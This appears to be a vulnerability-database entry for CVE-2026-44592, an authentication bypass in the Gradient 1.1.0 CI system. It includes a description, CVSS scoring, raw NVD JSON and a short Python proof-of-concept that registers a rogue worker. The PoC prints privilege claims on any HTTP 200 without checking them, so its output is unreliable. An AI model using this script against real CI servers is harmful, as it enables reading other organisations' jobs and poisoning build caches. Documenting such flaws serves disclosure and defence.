Security Vulnerability Report
中文
CVE-2026-44592 CVSS 9.4 CRITICAL

CVE-2026-44592

Published: 2026-05-14 19:16:38
Last Modified: 2026-05-14 19:16:38

Description

Gradient is a nix-based continuous integration system. In 1.1.0, when GRADIENT_DISCOVERABLE=true (the default, and the NixOS module default), anyone who can reach /proto can register as a worker without any credentials by sending a fresh, never-registered worker UUID. The resulting session has PeerAuth::Open, i.e. it sees jobs from every organisation, and can immediately NarPush/NarUploaded arbitrary store paths into nar_storage and the cached_path table. This vulnerability is fixed in 1.1.1.

CVSS Details

CVSS Score
9.4
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Gradient 1.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import uuid def exploit_gradient(target_url): # Generate a fresh UUID to simulate a new worker worker_uuid = str(uuid.uuid4()) # The endpoint for worker registration register_endpoint = f"{target_url}/proto" headers = { "Content-Type": "application/json" } # Payload to register the worker payload = { "id": worker_uuid, "type": "worker" } try: print(f"[*] Attempting to register worker with UUID: {worker_uuid}") response = requests.post(register_endpoint, json=payload, headers=headers) if response.status_code == 200: print("[+] Worker registration successful!") print("[+] Authenticated with PeerAuth::Open privileges.") print("[+] Can now view all organization jobs and push arbitrary store paths.") else: print(f"[-] Registration failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://vulnerable-gradient-instance.com" exploit_gradient(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44592", "sourceIdentifier": "[email protected]", "published": "2026-05-14T19:16:38.147", "lastModified": "2026-05-14T19:16:38.147", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Gradient is a nix-based continuous integration system. In 1.1.0, when GRADIENT_DISCOVERABLE=true (the default, and the NixOS module default), anyone who can reach /proto can register as a worker without any credentials by sending a fresh, never-registered worker UUID. The resulting session has PeerAuth::Open, i.e. it sees jobs from every organisation, and can immediately NarPush/NarUploaded arbitrary store paths into nar_storage and the cached_path table. This vulnerability is fixed in 1.1.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}, {"lang": "en", "value": "CWE-345"}, {"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://github.com/wavelens/gradient/security/advisories/GHSA-49w6-gf3p-96m2", "source": "[email protected]"}]}}